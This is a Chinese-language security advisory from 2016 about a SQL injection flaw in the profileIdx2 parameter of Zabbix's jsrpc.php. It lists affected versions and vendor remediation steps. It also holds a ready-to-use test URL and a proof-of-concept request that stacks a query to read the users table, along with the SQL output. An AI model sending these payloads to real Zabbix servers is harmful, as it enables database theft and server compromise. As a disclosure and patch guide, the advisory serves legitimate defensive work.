Zabbix jsrpc.php profileIdx2参数SQL注入漏洞

发布日期：2016-08-17
更新日期：2016-08-19

受影响系统：

ZABBIX ZABBIX 3.0.0-3.0.3
ZABBIX ZABBIX 2.5.0
ZABBIX ZABBIX 2.4.8
ZABBIX ZABBIX 2.4.7
ZABBIX ZABBIX 2.4.5
ZABBIX ZABBIX 2.4.2
ZABBIX ZABBIX 2.2.x
ZABBIX ZABBIX 2.0.5
ZABBIX ZABBIX 2.0.13

不受影响系统：

ZABBIX ZABBIX 3.2.0
ZABBIX ZABBIX 3.0.4
ZABBIX ZABBIX 2.2.14
ZABBIX ZABBIX 1.8.*

描述：

---

Zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级开源解决方案，可以灵活部署在几乎所有流行的操作系统中。

Zabbix软件的jsrpc.php文件在处理profileIdx2参数时存在insert方式的SQL注入漏洞，由于zabbix 默认开启了guest权限，攻击者可使用guest账户或者已经认证的账户登录，利用此漏洞直接获取服务器的操作系统权限。

<*来源：1n3
  *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

漏洞测试
在您的zabbix的地址后面加上如下URL：
/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1
输出结果，页面中出现如下内容（包含：You have an error in your SQL syntax;）表示漏洞存在：

POC
latest.php?output=ajax&sid=&favobj=toggle&toggle_open_state=1&toggle_ids[]=15385); select * from users where (1=1
Result:
SQL (0.000361): INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (88, 1, 'web.latest.toggle', '1', 2, 15385); select * from users where (1=1)
latest.php:746 → require_once() → CProfile::flush() → CProfile::insertDB() → DBexecute() in /home/sasha/zabbix-svn/branches/2.2/frontends/php/include/profiles.inc.php:185

建议：

---

厂商补丁：

ZABBIX
------
1、对于受影响的版本，建议升级到最新版本，获取地址:http://www.zabbix.com/download.php
2、禁用访客账户，例如Windows下的guest账户
3、绿盟科技免费在线检测：
https://cloud.nsfocus.com/#/krosa/views/initcdr/productandservice?pid=0&sid=1
4、绿盟科技在线云检测，登陆绿盟科技云，申请极光自助扫描服务试用：
https://cloud.nsfocus.com/#/krosa/views/initcdr/productandservice?pid=0&sid=0
5、使用绿盟科技的远程评估系统（RSAS/WVSS）对内网进行安全评估，RSAS插件升级包获取地址：http://update.nsfocus.com/update/listRsasDetail/v/vulweb，WVSS插件升级包获取地址：http://update.nsfocus.com/update/listWvssDetail/v/6/t/plg
6、使用绿盟科技检测类产品（IDS）进行检测，各版本对应升级包分别为5.6.10.14273、5.6.9.14273、5.6.8.594、5.6.7.594、5.6.0.500
7、使用绿盟科技防护类产品（IPS/NF/SG）进行防护，各版本对应升级包分别为5.6.10.14273、5.6.9.14273、5.6.8.594、5.6.7.594、5.6.0.500
8、已经购买了绿盟科技相关服务的客户可与售后联系，进行检测与防护
9、短期服务：绿盟科技工程师现场处理。确保第一时间消除网络内相关风险点，控制事件影响范围，并提供事件分析报告
10、中期服务：提供 3-6个月的风险监控与巡检服务。根除风险，确保事件不复发
11、长期服务：基金行业业务风险解决方案（威胁情报+攻击溯源+专业安全服务）
官方公告页面：https://support.zabbix.com/browse/ZBX-11023
漏洞报告详情：http://seclists.org/fulldisclosure/2016/Aug/82